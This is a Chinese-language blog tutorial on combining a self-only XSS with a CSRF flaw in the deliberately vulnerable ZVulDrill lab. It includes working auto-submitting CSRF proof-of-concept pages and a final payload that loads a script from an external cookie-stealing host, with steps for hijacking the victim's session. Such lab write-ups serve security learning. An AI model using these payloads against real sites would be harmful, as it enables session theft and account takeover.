***場景篇--當XSS趕上CSRF

時間 2020-02-04

標籤場景 xss 趕上 csrf 欄目 JavaScript 简体版

原文原文鏈接

你是否有過這樣的經歷，你發現了一個xss，可是貌似只能叉本身，輸出點只有本身能夠看見。這個時候，你會以爲這個xss很雞肋，當你就此忽略這個漏洞的時候，你可能丟掉一個發出組合技能的機會。
今天咱們來介紹一個場景，當xss趕上csrf的時候，是否能打出一套漂亮的組合技能。

實驗環境:
ZvulDirll[請用下面我簡單修改過的版本]
下載地址:在文章最後面

1、安裝:
0x00:解壓ZVulDrill壓縮包，將其放在www目錄下，也就是你的網站根目錄。
0x0一、編輯ZVulDrill\sys\config.php中的數據庫帳號和密碼
0x0二、打開mysql終端，建立zvuldrill數據，使用下面的sql語句。
create database zvuldrill；
javascript

0x0三、而後開始導入sql語句進zvuldrill數據庫。
use zvuldrill;
source F:/wamp/www/ZVulDrill/sys/zvuldrill.sql;

0x0四、打開瀏覽器，訪問
http://localhost/ZVulDrill/

2、尋找Xss漏洞
0x00、搜索框的xss
一開始打開這個web應用，咱們能夠大概看到的功能點，好比搜索留言、用戶登陸和註冊、留言。而通常倆說搜索框容易出現xss或者sql注入的問題。
(1)咱們先輸入一些內容進行搜索，好比2333333。以下圖

能夠看到，咱們搜索的內容顯示在頁面上。咱們右鍵查看一下元素，觀察2333333在什麼標籤之間。以下圖，2333333並無被什麼標籤包裹住。
php

咱們將搜索的內容變成<h1>test</h1>,點擊回車。能夠看到頁面上多了一個以h1標籤顯示的test字符串，也就是這裏存在xss漏洞。網站後臺並無淨化咱們的特殊字符，使得咱們輸入的數據被當作成是標籤來解析。效果以下圖。
html

這裏是一個存在XSS漏洞的點。

0x0一、
註冊一個帳號後，登陸以後進行測試。
1）像這種留言板，通常在留言處比較容易出現xss漏洞。咱們先試試在留言處輸入一堆異常字符看看是否會被轉義。以下圖，咱們輸入2333'"\&#;<>,點擊留言便可。
而後咱們右鍵查看網頁源代碼，搜索"2333",咱們看一下咱們異常字符被怎樣處理。
java

能夠看到這裏2333是被td標籤包裹住，要是咱們想插入咱們的javascript代碼，那咱們須要先閉合<td>，但是咱們的<>都被轉義了。這裏行不通。

2）咱們繼續看一看這裏有的功能，有個編輯功能。點擊進去看看。以下圖，這裏咱們能夠修改咱們的用戶名，而用戶名的輸出點，當前頁面有一個，注意右上角的小框，那裏是顯示用戶的用戶名。
咱們右鍵查看元素，查看一下右上角小框是被什麼標籤所包裹住。以下圖，
mysql

這裏的用戶名是被a標籤包裹住的，咱們嘗試一下閉合a標籤而後插入一段javascript代碼看看。
修改用戶名爲test</a><script>alert(1)</script><a>
咱們點擊更新按鈕，查看一下效果。

能夠看到這裏，執行了script標籤內的alert函數。也就是這裏存在一個注入點。咱們修改一下alert的內容，便可獲取cookie值。
修改用戶名爲test</a><script>alert(document.cookie)</script><a>
咱們正確的獲取到了cookie值，可是這裏的xss只能叉本身，咱們怎樣才能讓這裏的xss發揮真實的做用，盜取他人的cookie信息，而不只是本身的呢？

3、CSRF漏洞
正如CSRF漏洞是僞造別人發出某個請求，導致別人在不知情的狀況下執行某個操做，如修改密碼、留言、添加用戶等等。

0x00、如何測試是否存在CSRF漏洞
1)這裏須要用到Brupsuite來對網站後臺的防護進行一些分析。第一個是觀察發出的請求是否帶有隨機的Token值；第二個是分析網站後臺是否對Referer進行校驗。
咱們配置好瀏覽器的代理爲Brupsuite監聽的端口。點擊更新用戶名，Brupsuite抓取數據包。以下圖
能夠看到Post的數據包中並無出現token字眼，隨機數token通常是網站用來防護CSRF的一個措施。除了Token，咱們還有兩個要點要分析。第一個要點，網站是否校驗了請求的Referer，這個Http header是用來表示請求的來源地址是什麼。若是是CSRF的話，那麼Referer的值將會爲空。
2)咱們在數據包的空白處右鍵，send to repeater，發到repeater方便咱們修改數據以後重放請求。這裏咱們將上面Post數據中的Referer那一行刪除掉。
web

刪除後，點擊Go按鈕。返回內容以下圖。
返回的數據包將咱們重定向到edit.php，咱們繼續點擊follow redirection按鈕，觀察一下返回的頁面內容。

咱們再下面的搜索框那裏輸入demo11，能夠發現有兩處匹配到了。說明咱們這裏修改爲功，在Http header沒有附帶Referer的狀況下。

3)接下來咱們要對最後一個要素進行驗證，就是Post數據中的id參數。咱們要驗證id參數的存在是否影響咱們修改用戶名。咱們一樣是在Repeater裏面，把Post數據中的id參數刪除掉，同時咱們把username也修改爲demo22，用來與上一次的修改區分開。以下圖。

修改完成以後，咱們點擊Go按鈕，讓數據包發送。以下圖，返回的響應仍是302，將咱們重定向edit.php，可是頁面中還有Php的Notice信息，提醒咱們id變量不存在。
sql

咱們繼續點擊follow redirection。而後再右下角的搜索框那裏搜索demo22。

能夠看到在下圖，demo22出現了兩次，說明咱們修改爲功。也就是說，這裏的id參數並無影響咱們修改用戶名。經過上面的兩次分析。咱們能夠肯定這裏存在着CSRF漏洞。下面咱們寫一個簡單的頁面去測試。

4)測試CSRF的Poc
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>測試CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
<input type="hidden" name="username" value="hacker" class="form-control" id="inputEmail">
<input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
var formTag = document.getElementById("Poc");
formTag.submit();
</script>
</body>
</html>
咱們複製上面的內容到文本編輯器，而後保存爲poc.html。而後在登陸了Zvudrill以後，在同一瀏覽器打開poc.html。
下圖是個人brupsuite抓取到poc發送到網站的請求，能夠發現並無Referer值。
咱們把brupsuite的代理功能關閉。而後查看一下Poc的效果。

能夠看到下圖中的用戶名已經被修改爲hacker。

4、綜合利用
1)、通過上面的分析，咱們知道更新用戶名這裏的username並無過濾特殊字符能夠形成xss，而後更新用戶名發送的請求存在CSRF，能夠在用戶點擊的時候，修改用戶的用戶名。於是咱們能夠寫出下面的Poc。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>測試CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
<input type="hidden" name="username" value="demo</a><script>alert(document.cookie)</script><a>" class="form-control" id="inputEmail">
<input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
var formTag = document.getElementById("Poc");
formTag.submit();
</script>
</body>
</html>
咱們點擊源代碼爲上述代碼的html頁面以後，將會出現這樣的效果。
chrome

2)固然，咱們這裏的value還能夠是包含一段惡意的js代碼，能夠竊取當前用戶的cookie到xss平臺。以後即可以使用盜取的cookie全仿造用戶的身份去作其餘操做了。
下面我使用Xss平臺的一個盜取cookie的連接，Xss平臺的註冊地址
Poc以下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>測試CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
<input type="hidden" name="username" value="test</a><script src=http://t.cn/RG3kRlu></script><a>" class="form-control" id="inputEmail">
<input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
var formTag = document.getElementById("Poc");
formTag.submit();
</script>
</body>
</html>

[1]我在Firefox瀏覽器進行登陸，而後再Firefox瀏覽器打開poc.html。而後在chrome瀏覽器利用cookie進行登陸。
在登陸Firefox進行登陸，以下圖

咱們再Firefox中打開poc.html,以下圖

[2]咱們登陸xss平臺，找到建立的項目。能夠看到已經獲取到了受害者的cookie。

[3]利用盜取的cookie,在chrome瀏覽器直接仿造身份。
step1:訪問Xss平臺中獲取的Referer的url數據庫

step2:經過Chrome的EditThisCookie插件，重寫咱們的cookie。

step3:再次訪問Referer對應的url，觀察效果。如圖

5、寫在最後
寫在最後，在***中重要的是人思考漏洞，對待漏洞的思路。在有想法的白帽子手中，不一樣漏洞的組合會起到高危漏洞的效果。咱們不能期待每一次都遇到高危漏洞，咱們只能改變咱們對待漏洞的見解。
瀏覽器

年後回來，搬家，新的工做內容，各類事情須要我去適應，也沒有抽出時間來更新本身的博客和發表文章，可是想分享的心一直都在。

相關標籤/搜索

每日一句

每一个你不满意的现在，都有一个你没有努力的曾经。